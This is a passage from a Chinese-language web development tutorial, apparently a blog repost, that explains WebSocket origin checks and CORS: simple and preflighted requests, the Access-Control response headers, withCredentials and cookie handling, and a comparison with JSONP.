Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
上面代碼中,有一個欄位是Origin,表示該請求的請求源(origin),即發自哪個域名,
正是因為有了Origin這個欄位,所以 WebSocket 才沒有實行同源政策,因為服務器可以根據這個欄位,判斷是否許可本次通信,如果該域名在白名單內,服務器就會做出如下回應,
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
59.4.3 CORS
CORS 是跨源資源分享(Cross-Origin Resource Sharing)的縮寫,它是 W3C 標準,屬于跨源 AJAX 請求的根本解決方法,相比 JSONP 只能發GET請求,CORS 允許任何型別的請求,
下一章將詳細介紹,如何通過 CORS 完成跨源 AJAX 請求,
60. CORS 通信
CORS 是一個 W3C 標準,全稱是**“跨域資源共享”(Cross-origin resource sharing)**,它允許瀏覽器向跨域的服務器,發出XMLHttpRequest請求,從而克服了 AJAX 只能同源使用的限制,
60.1 簡介
CORS 需要瀏覽器和服務器同時支持,目前,所有瀏覽器都支持該功能,
整個 CORS 通信程序,都是瀏覽器自動完成,不需要用戶參與,對于開發者來說,CORS 通信與普通的 AJAX 通信沒有差別,代碼完全一樣,瀏覽器一旦發現 AJAX 請求跨域,就會自動添加一些附加的頭資訊,有時還會多出一次附加的請求,但用戶不會有感知,因此,實作 CORS 通信的關鍵是服務器,只要服務器實作了 CORS 介面,就可以跨域通信,
60.2 兩種請求
CORS 請求分成兩類:簡單請求(simple request)和非簡單請求(not-so-simple request),
只要同時滿足以下兩大條件,就屬于簡單請求,
(1)請求方法是以下三種方法之一,
- HEAD
- GET
- POST
(2)HTTP 的頭資訊不超出以下幾種欄位,
- Accept
- Accept-Language
- Content-Language
- Last-Event-ID
- Content-Type:只限于三個值
application/x-www-form-urlencoded、multipart/form-data、text/plain
凡是不同時滿足上面兩個條件,就屬于非簡單請求,一句話,簡單請求就是簡單的 HTTP 方法與簡單的 HTTP 頭資訊的結合,
這樣劃分的原因是,表單在歷史上一直可以跨域發出請求,簡單請求就是表單請求,瀏覽器沿襲了傳統的處理方式,不把行為復雜化,否則開發者可能轉而使用表單,規避 CORS 的限制,對于非簡單請求,瀏覽器會采用新的處理方式,
60.3 簡單請求
60.3.1 基本流程
對于簡單請求,瀏覽器直接發出 CORS 請求,具體來說,就是在頭資訊之中,增加一個Origin欄位,
下面是一個例子,瀏覽器發現這次跨域 AJAX 請求是簡單請求,就自動在頭資訊之中,添加一個Origin欄位,
GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
上面的頭資訊中,Origin欄位用來說明,本次請求來自哪個域(協議 + 域名 + 埠),服務器根據這個值,決定是否同意這次請求,
如果Origin指定的源,不在許可范圍內,服務器會回傳一個正常的 HTTP 回應,瀏覽器發現,這個回應的頭資訊沒有包含Access-Control-Allow-Origin欄位(詳見下文),就知道出錯了,從而拋出一個錯誤,被XMLHttpRequest的onerror回呼函式捕獲,注意,這種錯誤無法通過狀態碼識別,因為 HTTP 回應的狀態碼有可能是200,
如果Origin指定的域名在許可范圍內,服務器回傳的回應,會多出幾個頭資訊欄位,
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8
上面的頭資訊之中,有三個與 CORS 請求相關的欄位,都以Access-Control-開頭,
(1)Access-Control-Allow-Origin
該欄位是必須的,它的值要么是請求時Origin欄位的值,要么是一個*,表示接受任意域名的請求,
(2)Access-Control-Allow-Credentials
該欄位可選,它的值是一個布林值,表示是否允許發送 Cookie,默認情況下,Cookie 不包括在 CORS 請求之中,設為true,即表示服務器明確許可,瀏覽器可以把 Cookie 包含在請求中,一起發給服務器,這個值也只能設為true,如果服務器不要瀏覽器發送 Cookie,不發送該欄位即可,
(3)Access-Control-Expose-Headers
該欄位可選,CORS 請求時,XMLHttpRequest物件的getResponseHeader()方法只能拿到6個服務器回傳的基本欄位:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果想拿到其他欄位,就必須在Access-Control-Expose-Headers里面指定,上面的例子指定,getResponseHeader('FooBar')可以回傳FooBar欄位的值,
60.3.2 withCredentials 屬性
上面說到,CORS 請求默認不包含 Cookie 資訊(以及 HTTP 認證資訊等),這是為了降低 CSRF 攻擊的風險,但是某些場合,服務器可能需要拿到 Cookie,這時需要服務器顯式指定Access-Control-Allow-Credentials欄位,告訴瀏覽器可以發送 Cookie,
Access-Control-Allow-Credentials: true
同時,開發者必須在 AJAX 請求中打開withCredentials屬性,
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
否則,即使服務器要求發送 Cookie,瀏覽器也不會發送,或者,服務器要求設定 Cookie,瀏覽器也不會處理,
但是,有的瀏覽器默認將withCredentials屬性設為true,這導致如果省略withCredentials設定,這些瀏覽器可能還是會一起發送 Cookie,這時,可以顯式關閉withCredentials,
xhr.withCredentials = false;
需要注意的是,如果服務器要求瀏覽器發送 Cookie,Access-Control-Allow-Origin就不能設為星號,必須指定明確的、與請求網頁一致的域名,同時,Cookie 依然遵循同源政策,只有用服務器域名設定的 Cookie 才會上傳,其他域名的 Cookie 并不會上傳,且(跨域)原網頁代碼中的document.cookie也無法讀取服務器域名下的 Cookie,
60.4 非簡單請求
60.4.1 預檢請求
非簡單請求是那種對服務器提出特殊要求的請求,比如請求方法是PUT或DELETE,或者Content-Type欄位的型別是application/json,
非簡單請求的 CORS 請求,會在正式通信之前,增加一次 HTTP 查詢請求,稱為“預檢”請求(preflight),瀏覽器先詢問服務器,當前網頁所在的域名是否在服務器的許可名單之中,以及可以使用哪些 HTTP 方法和頭資訊欄位,只有得到肯定答復,瀏覽器才會發出正式的XMLHttpRequest請求,否則就報錯,這是為了防止這些新增的請求,對傳統的沒有 CORS 支持的服務器形成壓力,給服務器一個提前拒絕的機會,這樣可以防止服務器收到大量DELETE和PUT請求,這些傳統的表單不可能跨域發出的請求,
下面是一段瀏覽器的 JavaScript 腳本,
var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();
上面代碼中,HTTP 請求的方法是PUT,并且發送一個自定義頭資訊X-Custom-Header,
瀏覽器發現,這是一個非簡單請求,就自動發出一個“預檢”請求,要求服務器確認可以這樣請求,下面是這個“預檢”請求的 HTTP 頭資訊,
OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
“預檢”請求用的請求方法是OPTIONS,表示這個請求是用來詢問的,頭資訊里面,關鍵欄位是Origin,表示請求來自哪個源,
除了Origin欄位,“預檢”請求的頭資訊包括兩個特殊欄位,
(1)Access-Control-Request-Method
該欄位是必須的,用來列出瀏覽器的 CORS 請求會用到哪些 HTTP 方法,上例是PUT,
(2)Access-Control-Request-Headers
該欄位是一個逗號分隔的字串,指定瀏覽器 CORS 請求會額外發送的頭資訊欄位,上例是X-Custom-Header,
60.4.2 預檢請求的回應
服務器收到“預檢”請求以后,檢查了Origin、Access-Control-Request-Method和Access-Control-Request-Headers欄位以后,確認允許跨源請求,就可以做出回應,
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
上面的 HTTP 回應中,關鍵的是Access-Control-Allow-Origin欄位,表示http://api.bob.com可以請求資料,該欄位也可以設為星號,表示同意任意跨源請求,
Access-Control-Allow-Origin: *
如果服務器否定了“預檢”請求,會回傳一個正常的 HTTP 回應,但是沒有任何 CORS 相關的頭資訊欄位,或者明確表示請求不符合條件,
OPTIONS http://api.bob.com HTTP/1.1
Status: 200
Access-Control-Allow-Origin: https://notyourdomain.com
Access-Control-Allow-Method: POST
上面的服務器回應,Access-Control-Allow-Origin欄位明確不包括發出請求的http://api.bob.com,
這時,瀏覽器就會認定,服務器不同意預檢請求,因此觸發一個錯誤,被XMLHttpRequest物件的onerror回呼函式捕獲,控制臺會列印出如下的報錯資訊,
XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.
服務器回應的其他 CORS 相關欄位如下,
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
(1)Access-Control-Allow-Methods
該欄位必需,它的值是逗號分隔的一個字串,表明服務器支持的所有跨域請求的方法,注意,回傳的是所有支持的方法,而不單是瀏覽器請求的那個方法,這是為了避免多次“預檢”請求,
(2)Access-Control-Allow-Headers
如果瀏覽器請求包括Access-Control-Request-Headers欄位,則Access-Control-Allow-Headers欄位是必需的,它也是一個逗號分隔的字串,表明服務器支持的所有頭資訊欄位,不限于瀏覽器在“預檢”中請求的欄位,
(3)Access-Control-Allow-Credentials
該欄位與簡單請求時的含義相同,
(4)Access-Control-Max-Age
該欄位可選,用來指定本次預檢請求的有效期,單位為秒,上面結果中,有效期是20天(1728000秒),即允許快取該潭訓應1728000秒(即20天),在此期間,不用發出另一條預檢請求,
60.4.3 瀏覽器的正常請求和回應
一旦服務器通過了“預檢”請求,以后每次瀏覽器正常的 CORS 請求,就都跟簡單請求一樣,會有一個Origin頭資訊欄位,服務器的回應,也都會有一個Access-Control-Allow-Origin頭資訊欄位,
下面是“預檢”請求之后,瀏覽器的正常 CORS 請求,
PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
上面頭資訊的Origin欄位是瀏覽器自動添加的,
下面是服務器正常的回應,
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8
上面頭資訊中,Access-Control-Allow-Origin欄位是每次回應都必定包含的,
60.5 與 JSONP 的比較
CORS 與 JSONP 的使用目的相同,但是比 JSONP 更強大==,JSONP 只支持GET請求,CORS 支持所有型別的 HTTP 請求,JSONP 的優勢在于支持老式瀏覽器,以及可以向不支持 CORS 的網站請求資料,==
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/290903.html
標籤:其他
